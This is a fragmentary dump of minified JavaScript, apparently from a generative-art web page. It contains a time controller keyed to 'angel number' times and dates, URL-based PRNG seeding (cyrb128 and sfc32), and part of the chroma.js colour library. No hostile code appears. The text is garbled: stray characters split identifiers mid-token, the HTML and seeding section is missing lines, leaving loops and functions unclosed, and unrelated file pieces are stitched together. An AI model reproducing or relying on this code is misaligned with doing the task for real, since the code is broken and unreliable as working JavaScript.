0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
